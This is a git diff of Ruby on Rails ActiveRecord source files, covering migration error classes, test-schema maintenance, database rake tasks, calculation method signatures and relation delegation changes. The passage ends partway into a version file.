diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb
index a4247fb6f4..b57da73969 100644
--- a/activerecord/lib/active_record/migration.rb
+++ b/activerecord/lib/active_record/migration.rb
@@ -1,41 +1,48 @@
-require "active_support/core_ext/class/attribute_accessors"
+require "active_support/core_ext/module/attribute_accessors"
require 'set'
module ActiveRecord
+ class MigrationError < ActiveRecordError#:nodoc:
+ def initialize(message = nil)
+ message = "\n\n#{message}\n\n" if message
+ super
+ end
+ end
+
# Exception that can be raised to stop migrations from going backwards.
- class IrreversibleMigration < ActiveRecordError
+ class IrreversibleMigration < MigrationError
end
- class DuplicateMigrationVersionError < ActiveRecordError#:nodoc:
+ class DuplicateMigrationVersionError < MigrationError#:nodoc:
def initialize(version)
super("Multiple migrations have the version number #{version}")
end
end
- class DuplicateMigrationNameError < ActiveRecordError#:nodoc:
+ class DuplicateMigrationNameError < MigrationError#:nodoc:
def initialize(name)
super("Multiple migrations have the name #{name}")
end
end
- class UnknownMigrationVersionError < ActiveRecordError #:nodoc:
+ class UnknownMigrationVersionError < MigrationError #:nodoc:
def initialize(version)
super("No migration with version number #{version}")
end
end
- class IllegalMigrationNameError < ActiveRecordError#:nodoc:
+ class IllegalMigrationNameError < MigrationError#:nodoc:
def initialize(name)
super("Illegal name for migration file: #{name}\n\t(only lower case letters, numbers, and '_' allowed)")
end
end
- class PendingMigrationError < ActiveRecordError#:nodoc:
+ class PendingMigrationError < MigrationError#:nodoc:
def initialize
if defined?(Rails)
- super("Migrations are pending; run 'bin/rake db:migrate RAILS_ENV=#{::Rails.env}' to resolve this issue.")
+ super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rake db:migrate RAILS_ENV=#{::Rails.env}")
else
- super("Migrations are pending; run 'bin/rake db:migrate' to resolve this issue.")
+ super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rake db:migrate")
end
end
end
@@ -382,6 +389,19 @@ module ActiveRecord
raise ActiveRecord::PendingMigrationError if ActiveRecord::Migrator.needs_migration?
end
+ def load_schema_if_pending!
+ if ActiveRecord::Migrator.needs_migration?
+ ActiveRecord::Tasks::DatabaseTasks.load_schema
+ check_pending!
+ end
+ end
+
+ def maintain_test_schema! # :nodoc:
+ if ActiveRecord::Base.maintain_test_schema
+ suppress_messages { load_schema_if_pending! }
+ end
+ end
+
def method_missing(name, *args, &block) # :nodoc:
(delegate || superclass.delegate).send(name, *args, &block)
end
@@ -739,7 +759,7 @@ module ActiveRecord
def load_migration
require(File.expand_path(filename))
- name.constantize.new
+ name.constantize.new(name, version)
end
end
diff --git a/activerecord/lib/active_record/migration/command_recorder.rb b/activerecord/lib/active_record/migration/command_recorder.rb
index 01c73be849..9139ad953c 100644
--- a/activerecord/lib/active_record/migration/command_recorder.rb
+++ b/activerecord/lib/active_record/migration/command_recorder.rb
@@ -74,7 +74,7 @@ module ActiveRecord
:rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps,
:change_column_default, :add_reference, :remove_reference, :transaction,
:drop_join_table, :drop_table, :execute_block, :enable_extension,
- :change_column, :execute, :remove_columns, # irreversible methods need to be here too
+ :change_column, :execute, :remove_columns, :change_column_null # irreversible methods need to be here too
].each do |method|
class_eval <<-EOV, __FILE__, __LINE__ + 1
def #{method}(*args, &block) # def create_table(*args, &block)
@@ -86,7 +86,7 @@ module ActiveRecord
alias :remove_belongs_to :remove_reference
def change_table(table_name, options = {})
- yield ConnectionAdapters::Table.new(table_name, self)
+ yield delegate.update_table_definition(table_name, self)
end
private
@@ -157,11 +157,18 @@ module ActiveRecord
alias :invert_add_belongs_to :invert_add_reference
alias :invert_remove_belongs_to :invert_remove_reference
+ def invert_change_column_null(args)
+ args[2] = !args[2]
+ [:change_column_null, args]
+ end
+
# Forwards any missing method call to the \target.
def method_missing(method, *args, &block)
- @delegate.send(method, *args, &block)
- rescue NoMethodError => e
- raise e, e.message.sub(/ for #<.*$/, " via proxy for #{@delegate}")
+ if @delegate.respond_to?(method)
+ @delegate.send(method, *args, &block)
+ else
+ super
+ end
end
end
end
diff --git a/activerecord/lib/active_record/null_relation.rb b/activerecord/lib/active_record/null_relation.rb
index 080b20134d..5b255c3fe5 100644
--- a/activerecord/lib/active_record/null_relation.rb
+++ b/activerecord/lib/active_record/null_relation.rb
@@ -50,8 +50,10 @@ module ActiveRecord
0
end
- def calculate(_operation, _column_name)
- if _operation == :count
+ def calculate(operation, _column_name, _options = {})
+ # TODO: Remove _options argument as soon we remove support to
+ # activerecord-deprecated_finders.
+ if operation == :count
0
else
nil
diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb
index 35fbad466e..4669c072a1 100644
--- a/activerecord/lib/active_record/persistence.rb
+++ b/activerecord/lib/active_record/persistence.rb
@@ -181,6 +181,7 @@ module ActiveRecord
became = klass.new
became.instance_variable_set("@attributes", @attributes)
became.instance_variable_set("@attributes_cache", @attributes_cache)
+ became.instance_variable_set("@changed_attributes", @changed_attributes) if defined?(@changed_attributes)
became.instance_variable_set("@new_record", new_record?)
became.instance_variable_set("@destroyed", destroyed?)
became.instance_variable_set("@errors", errors)
@@ -264,7 +265,7 @@ module ActiveRecord
# This method raises an +ActiveRecord::ActiveRecordError+ when called on new
# objects, or when at least one of the attributes is marked as readonly.
def update_columns(attributes)
- raise ActiveRecordError, "can not update on a new record object" unless persisted?
+ raise ActiveRecordError, "cannot update on a new record object" unless persisted?
attributes.each_key do |key|
verify_readonly_attribute(key.to_s)
@@ -361,7 +362,7 @@ module ActiveRecord
# assert_equal 25, account.credit # check it is updated in memory
# assert_equal 25, account.reload.credit # check it is also persisted
#
- # Another commom use case is optimistic locking handling:
+ # Another common use case is optimistic locking handling:
#
# def with_optimistic_retry
# begin
@@ -426,7 +427,7 @@ module ActiveRecord
# ball.touch(:updated_at) # => raises ActiveRecordError
#
def touch(name = nil)
- raise ActiveRecordError, "can not touch on a new record object" unless persisted?
+ raise ActiveRecordError, "cannot touch on a new record object" unless persisted?
attributes = timestamp_attributes_for_update_in_model
attributes << name if name
diff --git a/activerecord/lib/active_record/railtie.rb b/activerecord/lib/active_record/railtie.rb
index eef08aea88..11b564f8f9 100644
--- a/activerecord/lib/active_record/railtie.rb
+++ b/activerecord/lib/active_record/railtie.rb
@@ -31,22 +31,16 @@ module ActiveRecord
config.active_record.use_schema_cache_dump = true
+ config.active_record.maintain_test_schema = true
config.eager_load_namespaces << ActiveRecord
rake_tasks do
require "active_record/base"
- ActiveRecord::Tasks::DatabaseTasks.seed_loader = Rails.application
- ActiveRecord::Tasks::DatabaseTasks.env = Rails.env
-
namespace :db do
task :load_config do
- ActiveRecord::Tasks::DatabaseTasks.db_dir = Rails.application.config.paths["db"].first
ActiveRecord::Tasks::DatabaseTasks.database_configuration = Rails.application.config.database_configuration
- ActiveRecord::Tasks::DatabaseTasks.migrations_paths = Rails.application.paths['db/migrate'].to_a
- ActiveRecord::Tasks::DatabaseTasks.fixtures_path = File.join Rails.root, 'test', 'fixtures'
- ActiveRecord::Tasks::DatabaseTasks.root = Rails.root
if defined?(ENGINE_PATH) && engine = Rails::Engine.find(ENGINE_PATH)
if engine.paths['db/migrate'].existent
@@ -122,7 +116,16 @@ module ActiveRecord
# and then establishes the connection.
initializer "active_record.initialize_database" do |app|
ActiveSupport.on_load(:active_record) do
- self.configurations = app.config.database_configuration || {}
+
+ class ActiveRecord::NoDatabaseError
+ remove_possible_method :extend_message
+ def extend_message(message)
+ message << "Run `$ bin/rake db:create db:migrate` to create your database"
+ message
+ end
+ end
+
+ self.configurations = Rails.application.config.database_configuration
establish_connection
end
end
diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake
index 52b3d3e5e6..561387a179 100644
--- a/activerecord/lib/active_record/railties/databases.rake
+++ b/activerecord/lib/active_record/railties/databases.rake
@@ -2,7 +2,7 @@ require 'active_record'
db_namespace = namespace :db do
task :load_config do
- ActiveRecord::Base.configurations = ActiveRecord::Tasks::DatabaseTasks.database_configuration || {}
+ ActiveRecord::Base.configurations = ActiveRecord::Tasks::DatabaseTasks.database_configuration || {}
ActiveRecord::Migrator.migrations_paths = ActiveRecord::Tasks::DatabaseTasks.migrations_paths
end
@@ -12,13 +12,9 @@ db_namespace = namespace :db do
end
end
- desc 'Create the database from DATABASE_URL or config/database.yml for the current Rails.env (use db:create:all to create all databases in the config)'
+ desc 'Creates the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:create:all to create all databases in the config). Without RAILS_ENV it defaults to creating the development and test databases.'
task :create => [:load_config] do
- if ENV['DATABASE_URL']
- ActiveRecord::Tasks::DatabaseTasks.create_database_url
- else
- ActiveRecord::Tasks::DatabaseTasks.create_current
- end
+ ActiveRecord::Tasks::DatabaseTasks.create_current
end
namespace :drop do
@@ -27,13 +23,9 @@ db_namespace = namespace :db do
end
end
- desc 'Drops the database using DATABASE_URL or the current Rails.env (use db:drop:all to drop all databases)'
+ desc 'Drops the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:drop:all to drop all databases in the config). Without RAILS_ENV it defaults to dropping the development and test databases.'
task :drop => [:load_config] do
- if ENV['DATABASE_URL']
- ActiveRecord::Tasks::DatabaseTasks.drop_database_url
- else
- ActiveRecord::Tasks::DatabaseTasks.drop_current
- end
+ ActiveRecord::Tasks::DatabaseTasks.drop_current
end
desc "Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)."
@@ -187,9 +179,6 @@ db_namespace = namespace :db do
require 'active_record/fixtures'
base_dir = if ENV['FIXTURES_PATH']
- STDERR.puts "Using FIXTURES_PATH env variable is deprecated, please use " +
- "ActiveRecord::Tasks::DatabaseTasks.fixtures_path = '/path/to/fixtures' " +
- "instead."
File.join [Rails.root, ENV['FIXTURES_PATH'] || %w{test fixtures}].flatten
else
ActiveRecord::Tasks::DatabaseTasks.fixtures_path
@@ -212,9 +201,6 @@ db_namespace = namespace :db do
puts %Q(The fixture ID for "#{label}" is #{ActiveRecord::FixtureSet.identify(label)}.) if label
base_dir = if ENV['FIXTURES_PATH']
- STDERR.puts "Using FIXTURES_PATH env variable is deprecated, please use " +
- "ActiveRecord::Tasks::DatabaseTasks.fixtures_path = '/path/to/fixtures' " +
- "instead."
File.join [Rails.root, ENV['FIXTURES_PATH'] || %w{test fixtures}].flatten
else
ActiveRecord::Tasks::DatabaseTasks.fixtures_path
@@ -248,9 +234,7 @@ db_namespace = namespace :db do
desc 'Load a schema.rb file into the database'
task :load => [:environment, :load_config] do
- file = ENV['SCHEMA'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, 'schema.rb')
- ActiveRecord::Tasks::DatabaseTasks.check_schema_file(file)
- load(file)
+ ActiveRecord::Tasks::DatabaseTasks.load_schema(:ruby, ENV['SCHEMA'])
end
task :load_if_ruby => ['db:create', :environment] do
@@ -295,10 +279,7 @@ db_namespace = namespace :db do
# desc "Recreate the databases from the structure.sql file"
task :load => [:environment, :load_config] do
- filename = ENV['DB_STRUCTURE'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "structure.sql")
- ActiveRecord::Tasks::DatabaseTasks.check_schema_file(filename)
- current_config = ActiveRecord::Tasks::DatabaseTasks.current_config
- ActiveRecord::Tasks::DatabaseTasks.structure_load(current_config, filename)
+ ActiveRecord::Tasks::DatabaseTasks.load_schema(:sql, ENV['DB_STRUCTURE'])
end
task :load_if_sql => ['db:create', :environment] do
@@ -308,8 +289,15 @@ db_namespace = namespace :db do
namespace :test do
+ task :deprecated do
+ Rake.application.top_level_tasks.grep(/^db:test:/).each do |task|
+ $stderr.puts "WARNING: #{task} is deprecated. The Rails test helper now maintains " \
+ "your test schema automatically, see the release notes for details."
+ end
+ end
+
# desc "Recreate the test database from the current schema"
- task :load => 'db:test:purge' do
+ task :load => %w(db:test:deprecated db:test:purge) do
case ActiveRecord::Base.schema_format
when :ruby
db_namespace["test:load_schema"].invoke
@@ -319,7 +307,7 @@ db_namespace = namespace :db do
end
# desc "Recreate the test database from an existent schema.rb file"
- task :load_schema => 'db:test:purge' do
+ task :load_schema => %w(db:test:deprecated db:test:purge) do
begin
should_reconnect = ActiveRecord::Base.connection_pool.active_connection?
ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['test'])
@@ -333,7 +321,7 @@ db_namespace = namespace :db do
end
# desc "Recreate the test database from an existent structure.sql file"
- task :load_structure => 'db:test:purge' do
+ task :load_structure => %w(db:test:deprecated db:test:purge) do
begin
ActiveRecord::Tasks::DatabaseTasks.current_config(:config => ActiveRecord::Base.configurations['test'])
db_namespace["structure:load"].invoke
@@ -343,7 +331,7 @@ db_namespace = namespace :db do
end
# desc "Recreate the test database from a fresh schema"
- task :clone do
+ task :clone => %w(db:test:deprecated environment) do
case ActiveRecord::Base.schema_format
when :ruby
db_namespace["test:clone_schema"].invoke
@@ -353,18 +341,18 @@ db_namespace = namespace :db do
end
# desc "Recreate the test database from a fresh schema.rb file"
- task :clone_schema => ["db:schema:dump", "db:test:load_schema"]
+ task :clone_schema => %w(db:test:deprecated db:schema:dump db:test:load_schema)
# desc "Recreate the test database from a fresh structure.sql file"
- task :clone_structure => [ "db:structure:dump", "db:test:load_structure" ]
+ task :clone_structure => %w(db:test:deprecated db:structure:dump db:test:load_structure)
# desc "Empty the test database"
- task :purge => [:environment, :load_config] do
+ task :purge => %w(db:test:deprecated environment load_config) do
ActiveRecord::Tasks::DatabaseTasks.purge ActiveRecord::Base.configurations['test']
end
# desc 'Check for pending migrations and load the test schema'
- task :prepare => :load_config do
+ task :prepare => %w(db:test:deprecated environment load_config) do
unless ActiveRecord::Base.configurations.blank?
db_namespace['test:load'].invoke
end
@@ -399,6 +387,3 @@ namespace :railties do
end
end
end
-
-task 'test:prepare' => ['db:test:prepare', 'db:test:load', 'db:abort_if_pending_migrations']
-
diff --git a/activerecord/lib/active_record/relation/calculations.rb b/activerecord/lib/active_record/relation/calculations.rb
index 2d267183ce..45ffb99868 100644
--- a/activerecord/lib/active_record/relation/calculations.rb
+++ b/activerecord/lib/active_record/relation/calculations.rb
@@ -19,16 +19,21 @@ module ActiveRecord
#
# Person.group(:city).count
# # => { 'Rome' => 5, 'Paris' => 3 }
- def count(column_name = nil)
- calculate(:count, column_name)
+ def count(column_name = nil, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
+ column_name, options = nil, column_name if column_name.is_a?(Hash)
+ calculate(:count, column_name, options)
end
# Calculates the average value on a given column. Returns +nil+ if there's
# no row. See +calculate+ for examples with options.
#
# Person.average(:age) # => 35.8
- def average(column_name)
- calculate(:average, column_name)
+ def average(column_name, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
+ calculate(:average, column_name, options)
end
# Calculates the minimum value on a given column. The value is returned
@@ -36,8 +41,10 @@ module ActiveRecord
# +calculate+ for examples with options.
#
# Person.minimum(:age) # => 7
- def minimum(column_name)
- calculate(:minimum, column_name)
+ def minimum(column_name, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
+ calculate(:minimum, column_name, options)
end
# Calculates the maximum value on a given column. The value is returned
@@ -45,8 +52,10 @@ module ActiveRecord
# +calculate+ for examples with options.
#
# Person.maximum(:age) # => 93
- def maximum(column_name)
- calculate(:maximum, column_name)
+ def maximum(column_name, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
+ calculate(:maximum, column_name, options)
end
# Calculates the sum of values on a given column. The value is returned
@@ -89,15 +98,17 @@ module ActiveRecord
# Person.group(:last_name).having("min(age) > 17").minimum(:age)
#
# Person.sum("2 * age")
- def calculate(operation, column_name)
+ def calculate(operation, column_name, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
if column_name.is_a?(Symbol) && attribute_alias?(column_name)
column_name = attribute_alias(column_name)
end
if has_include?(column_name)
- construct_relation_for_association_calculations.calculate(operation, column_name)
+ construct_relation_for_association_calculations.calculate(operation, column_name, options)
else
- perform_calculation(operation, column_name)
+ perform_calculation(operation, column_name, options)
end
end
@@ -180,7 +191,9 @@ module ActiveRecord
eager_loading? || (includes_values.present? && (column_name || references_eager_loaded_tables?))
end
- def perform_calculation(operation, column_name)
+ def perform_calculation(operation, column_name, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
operation = operation.to_s.downcase
# If #count is used with #distinct / #uniq it is considered distinct. (eg. relation.distinct.count)
@@ -311,7 +324,9 @@ module ActiveRecord
}
key = key.first if key.size == 1
key = key_records[key] if associated
- [key, type_cast_calculated_value(row[aggregate_alias], column_for(column_name), operation)]
+
+ column_type = calculated_data.column_types.fetch(aggregate_alias) { column_for(column_name) }
+ [key, type_cast_calculated_value(row[aggregate_alias], column_type, operation)]
end]
end
diff --git a/activerecord/lib/active_record/relation/delegation.rb b/activerecord/lib/active_record/relation/delegation.rb
index 1e15bddcdf..21beed332f 100644
--- a/activerecord/lib/active_record/relation/delegation.rb
+++ b/activerecord/lib/active_record/relation/delegation.rb
@@ -1,3 +1,4 @@
+require 'set'
require 'active_support/concern'
require 'active_support/deprecation'
@@ -36,7 +37,14 @@ module ActiveRecord
# may vary depending on the klass of a relation, so we create a subclass of Relation
# for each different klass, and the delegations are compiled into that subclass only.
- delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to_ary, :to => :to_a
+ BLACKLISTED_ARRAY_METHODS = [
+ :compact!, :flatten!, :reject!, :reverse!, :rotate!, :map!,
+ :shuffle!, :slice!, :sort!, :sort_by!, :delete_if,
+ :keep_if, :pop, :shift, :delete_at, :compact
+ ].to_set # :nodoc:
+
+ delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to_ary, to: :to_a
+
delegate :table_name, :quoted_table_name, :primary_key, :quoted_primary_key,
:connection, :columns_hash, :to => :klass
@@ -64,7 +72,7 @@ module ActiveRecord
RUBY
else
define_method method do |*args, &block|
- scoping { @klass.send(method, *args, &block) }
+ scoping { @klass.public_send(method, *args, &block) }
end
end
end
@@ -83,13 +91,10 @@ module ActiveRecord
def method_missing(method, *args, &block)
if @klass.respond_to?(method)
self.class.delegate_to_scoped_klass(method)
- scoping { @klass.send(method, *args, &block) }
- elsif array_delegable?(method)
- self.class.delegate method, :to => :to_a
- to_a.send(method, *args, &block)
+ scoping { @klass.public_send(method, *args, &block) }
elsif arel.respond_to?(method)
self.class.delegate method, :to => :arel
- arel.send(method, *args, &block)
+ arel.public_send(method, *args, &block)
else
super
end
@@ -109,30 +114,24 @@ module ActiveRecord
end
def respond_to?(method, include_private = false)
- super || array_delegable?(method) ||
- @klass.respond_to?(method, include_private) ||
+ super || @klass.respond_to?(method, include_private) ||
+ array_delegable?(method) ||
arel.respond_to?(method, include_private)
end
protected
def array_delegable?(method)
- defined = Array.method_defined?(method)
- if defined && method.to_s.ends_with?('!')
- ActiveSupport::Deprecation.warn(
- "Association will no longer delegate #{method} to #to_a as of Rails 4.2. You instead must first call #to_a on the association to expose the array to be acted on."
- )
- end
- defined
+ Array.method_defined?(method) && BLACKLISTED_ARRAY_METHODS.exclude?(method)
end
def method_missing(method, *args, &block)
if @klass.respond_to?(method)
- scoping { @klass.send(method, *args, &block) }
+ scoping { @klass.public_send(method, *args, &block) }
elsif array_delegable?(method)
- to_a.send(method, *args, &block)
+ to_a.public_send(method, *args, &block)
elsif arel.respond_to?(method)
- arel.send(method, *args, &block)
+ arel.public_send(method, *args, &block)
else
super
end
diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb
index d91d6367a3..4984dbd277 100644
--- a/activerecord/lib/active_record/relation/finder_methods.rb
+++ b/activerecord/lib/active_record/relation/finder_methods.rb
@@ -195,6 +195,7 @@ module ActiveRecord
# Person.exists?(5)
# Person.exists?('5')
# Person.exists?(['name LIKE ?', "%#{query}%"])
+ # Person.exists?(id: [1, 4, 8])
# Person.exists?(name: 'David')
# Person.exists?(false)
# Person.exists?
@@ -384,7 +385,7 @@ module ActiveRecord
@records.last
else
@last ||=
- if offset_value || limit_value
+ if limit_value
to_a.last
else
reverse_order.limit(1).to_a.first
diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb
index c60cd27a83..1252af7635 100644
--- a/activerecord/lib/active_record/relation/predicate_builder.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder.rb
@@ -55,9 +55,9 @@ module ActiveRecord
#
# For polymorphic relationships, find the foreign key and type:
# PriceEstimate.where(estimate_of: treasure)
- if klass && value.is_a?(Base) && reflection = klass.reflect_on_association(column.to_sym)
- if reflection.polymorphic?
- queries << build(table[reflection.foreign_type], value.class.base_class)
+ if klass && reflection = klass.reflect_on_association(column.to_sym)
+ if reflection.polymorphic? && base_class = polymorphic_base_class_from_value(value)
+ queries << build(table[reflection.foreign_type], base_class)
end
column = reflection.foreign_key
@@ -67,6 +67,18 @@ module ActiveRecord
queries
end
+ def self.polymorphic_base_class_from_value(value)
+ case value
+ when Relation
+ value.klass.base_class
+ when Array
+ val = value.compact.first
+ val.class.base_class if val.is_a?(Base)
+ when Base
+ value.class.base_class
+ end
+ end
+
def self.references(attributes)
attributes.map do |key, value|
if value.is_a?(Hash)
diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb
index cacc787eba..78da6a83ec 100644
--- a/activerecord/lib/active_record/relation/query_methods.rb
+++ b/activerecord/lib/active_record/relation/query_methods.rb
@@ -37,6 +37,8 @@ module ActiveRecord
def not(opts, *rest)
where_value = @scope.send(:build_where, opts, rest).map do |rel|
case rel
+ when NilClass
+ raise ArgumentError, 'Invalid argument for .where.not(), got nil.'
when Arel::Nodes::In
Arel::Nodes::NotIn.new(rel.left, rel.right)
when Arel::Nodes::Equality
@@ -427,7 +429,7 @@ module ActiveRecord
# === string
#
# A single string, without additional arguments, is passed to the query
- # constructor as a SQL fragment, and used in the where clause of the query.
+ # constructor as an SQL fragment, and used in the where clause of the query.
#
# Client.where("orders_count = '2'")
# # SELECT * from clients where orders_count = '2';
@@ -631,12 +633,11 @@ module ActiveRecord
self
end
- # Returns a chainable relation with zero records, specifically an
- # instance of the <tt>ActiveRecord::NullRelation</tt> class.
+ # Returns a chainable relation with zero records.
#
- # The returned <tt>ActiveRecord::NullRelation</tt> inherits from Relation and implements the
- # Null Object pattern. It is an object with defined null behavior and always returns an empty
- # array of records without querying the database.
+ # The returned relation implements the Null Object pattern. It is an
+ # object with defined null behavior and always returns an empty array of
+ # records without querying the database.
#
# Any subsequent condition chained to the returned relation will continue
# generating an empty relation and will not fire any query to the database.
@@ -656,7 +657,7 @@ module ActiveRecord
# when 'Reviewer'
# Post.published
# when 'Bad User'
- # Post.none # => returning [] instead breaks the previous code
+ # Post.none # It can't be chained if [] is returned.
# end
# end
#
@@ -983,8 +984,10 @@ module ActiveRecord
end
def build_select(arel, selects)
- unless selects.empty?
+ if !selects.empty?
arel.project(*selects)
+ elsif from_value
+ arel.project(Arel.star)
else
arel.project(@klass.arel_table[Arel.star])
end
diff --git a/activerecord/lib/active_record/sanitization.rb b/activerecord/lib/active_record/sanitization.rb
index cab8fd745a..dacaec26b7 100644
--- a/activerecord/lib/active_record/sanitization.rb
+++ b/activerecord/lib/active_record/sanitization.rb
@@ -100,8 +100,9 @@ module ActiveRecord
# { status: nil, group_id: 1 }
# # => "status = NULL , group_id = 1"
def sanitize_sql_hash_for_assignment(attrs, table)
+ c = connection
attrs.map do |attr, value|
- "#{connection.quote_table_name_for_assignment(table, attr)} = #{quote_bound_value(value)}"
+ "#{c.quote_table_name_for_assignment(table, attr)} = #{quote_bound_value(value, c, columns_hash[attr.to_s])}"
end.join(', ')
end
@@ -152,8 +153,10 @@ module ActiveRecord
end
end
- def quote_bound_value(value, c = connection) #:nodoc:
- if value.respond_to?(:map) && !value.acts_like?(:string)
+ def quote_bound_value(value, c = connection, column = nil) #:nodoc:
+ if column
+ c.quote(value, column)
+ elsif value.respond_to?(:map) && !value.acts_like?(:string)
if value.respond_to?(:empty?) && value.empty?
c.quote(nil)
else
diff --git a/activerecord/lib/active_record/store.rb b/activerecord/lib/active_record/store.rb
index 186a737561..79a6ccbda0 100644
--- a/activerecord/lib/active_record/store.rb
+++ b/activerecord/lib/active_record/store.rb
@@ -178,7 +178,7 @@ module ActiveRecord
end
def load(yaml)
- self.class.as_indifferent_hash(@coder.load(yaml))
+ self.class.as_indifferent_hash(@coder.load(yaml || ''))
end
def self.as_indifferent_hash(obj)
diff --git a/activerecord/lib/active_record/tasks/database_tasks.rb b/activerecord/lib/active_record/tasks/database_tasks.rb
index be7d496d15..6ce0495f6f 100644
--- a/activerecord/lib/active_record/tasks/database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/database_tasks.rb
@@ -36,9 +36,8 @@ module ActiveRecord
module DatabaseTasks
extend self
- attr_writer :current_config
- attr_accessor :database_configuration, :migrations_paths, :seed_loader, :db_dir,
- :fixtures_path, :env, :root
+ attr_writer :current_config, :db_dir, :migrations_paths, :fixtures_path, :root, :env, :seed_loader
+ attr_accessor :database_configuration
LOCAL_HOSTS = ['127.0.0.1', 'localhost']
@@ -51,16 +50,36 @@ module ActiveRecord
register_task(/postgresql/, ActiveRecord::Tasks::PostgreSQLDatabaseTasks)
register_task(/sqlite/, ActiveRecord::Tasks::SQLiteDatabaseTasks)
+ def db_dir
+ @db_dir ||= Rails.application.config.paths["db"].first
+ end
+
+ def migrations_paths
+ @migrations_paths ||= Rails.application.paths['db/migrate'].to_a
+ end
+
+ def fixtures_path
+ @fixtures_path ||= File.join(root, 'test', 'fixtures')
+ end
+
+ def root
+ @root ||= Rails.root
+ end
+
+ def env
+ @env ||= Rails.env
+ end
+
+ def seed_loader
+ @seed_loader ||= Rails.application
+ end
+
def current_config(options = {})
options.reverse_merge! :env => env
if options.has_key?(:config)
@current_config = options[:config]
else
- @current_config ||= if ENV['DATABASE_URL']
- database_url_config
- else
- ActiveRecord::Base.configurations[options[:env]]
- end
+ @current_config ||= ActiveRecord::Base.configurations[options[:env]]
end
end
@@ -82,11 +101,7 @@ module ActiveRecord
each_current_configuration(environment) { |configuration|
create configuration
}
- ActiveRecord::Base.establish_connection environment
- end
-
- def create_database_url
- create database_url_config
+ ActiveRecord::Base.establish_connection(environment.to_sym)
end
def drop(*arguments)
@@ -107,10 +122,6 @@ module ActiveRecord
}
end
- def drop_database_url
- drop database_url_config
- end
-
def charset_current(environment = env)
charset ActiveRecord::Base.configurations[environment]
end
@@ -145,6 +156,21 @@ module ActiveRecord
class_for_adapter(configuration['adapter']).new(*arguments).structure_load(filename)
end
+ def load_schema(format = ActiveRecord::Base.schema_format, file = nil)
+ case format
+ when :ruby
+ file ||= File.join(db_dir, "schema.rb")
+ check_schema_file(file)
+ load(file)
+ when :sql
+ file ||= File.join(db_dir, "structure.sql")
+ check_schema_file(file)
+ structure_load(current_config, file)
+ else
+ raise ArgumentError, "unknown format #{format.inspect}"
+ end
+ end
+
def check_schema_file(filename)
unless File.exist?(filename)
message = %{#{filename} doesn't exist yet. Run `rake db:migrate` to create it, then try again.}
@@ -165,11 +191,6 @@ module ActiveRecord
private
- def database_url_config
- @database_url_config ||=
- ConnectionAdapters::ConnectionSpecification::Resolver.new(ENV["DATABASE_URL"], {}).spec.config.stringify_keys
- end
-
def class_for_adapter(adapter)
key = @tasks.keys.detect { |pattern| adapter[pattern] }
unless key
@@ -180,7 +201,8 @@ module ActiveRecord
def each_current_configuration(environment)
environments = [environment]
- environments << 'test' if environment == 'development'
+ # add test environment only if no RAILS_ENV was specified.
+ environments << 'test' if environment == 'development' && ENV['RAILS_ENV'].nil?
configurations = ActiveRecord::Base.configurations.values_at(*environments)
configurations.compact.each do |configuration|
diff --git a/activerecord/lib/active_record/validations/presence.rb b/activerecord/lib/active_record/validations/presence.rb
index 6b14c39686..9a19483da3 100644
--- a/activerecord/lib/active_record/validations/presence.rb
+++ b/activerecord/lib/active_record/validations/presence.rb
@@ -5,7 +5,7 @@ module ActiveRecord
super
attributes.each do |attribute|
next unless record.class.reflect_on_association(attribute)
- associated_records = Array(record.send(attribute))
+ associated_records = Array.wrap(record.send(attribute))
# Superclass validates presence. Ensure present records aren't about to be destroyed.
if associated_records.present? && associated_records.all? { |r| r.marked_for_destruction? }
diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb
index e2b132ca81..7ebe9dfec0 100644
--- a/activerecord/lib/active_record/validations/uniqueness.rb
+++ b/activerecord/lib/active_record/validations/uniqueness.rb
@@ -174,11 +174,11 @@ module ActiveRecord
# WHERE title = 'My Post' |
# |
# | # User 2 does the same thing and also
- # | # infers that his title is unique.
+ # | # infers that their title is unique.
# | SELECT * FROM comments
# | WHERE title = 'My Post'
# |
- # # User 1 inserts his comment. |
+ # # User 1 inserts their comment. |
# INSERT INTO comments |
# (title, content) VALUES |
# ('My Post', 'hi!') |
@@ -204,7 +204,7 @@ module ActiveRecord
# exception. You can either choose to let this error propagate (which
# will result in the default Rails exception page being shown), or you
# can catch it and restart the transaction (e.g. by telling the user
- # that the title already exists, and asking him to re-enter the title).
+ # that the title already exists, and asking them to re-enter the title).
# This technique is also known as
# {optimistic concurrency control}[http://en.wikipedia.org/wiki/Optimistic_concurrency_control].
#
diff --git a/activerecord/lib/active_record/version.rb b/activerecord/lib/active_record/version.rb
index de5fd05468..863c3ebe4d 100644
--- a/activerecord/lib/active_record/version.rb
+++ b/activerecord/lib/active_record/version.rb
@@ -1,7 +1,7 @@
module ActiveRecord
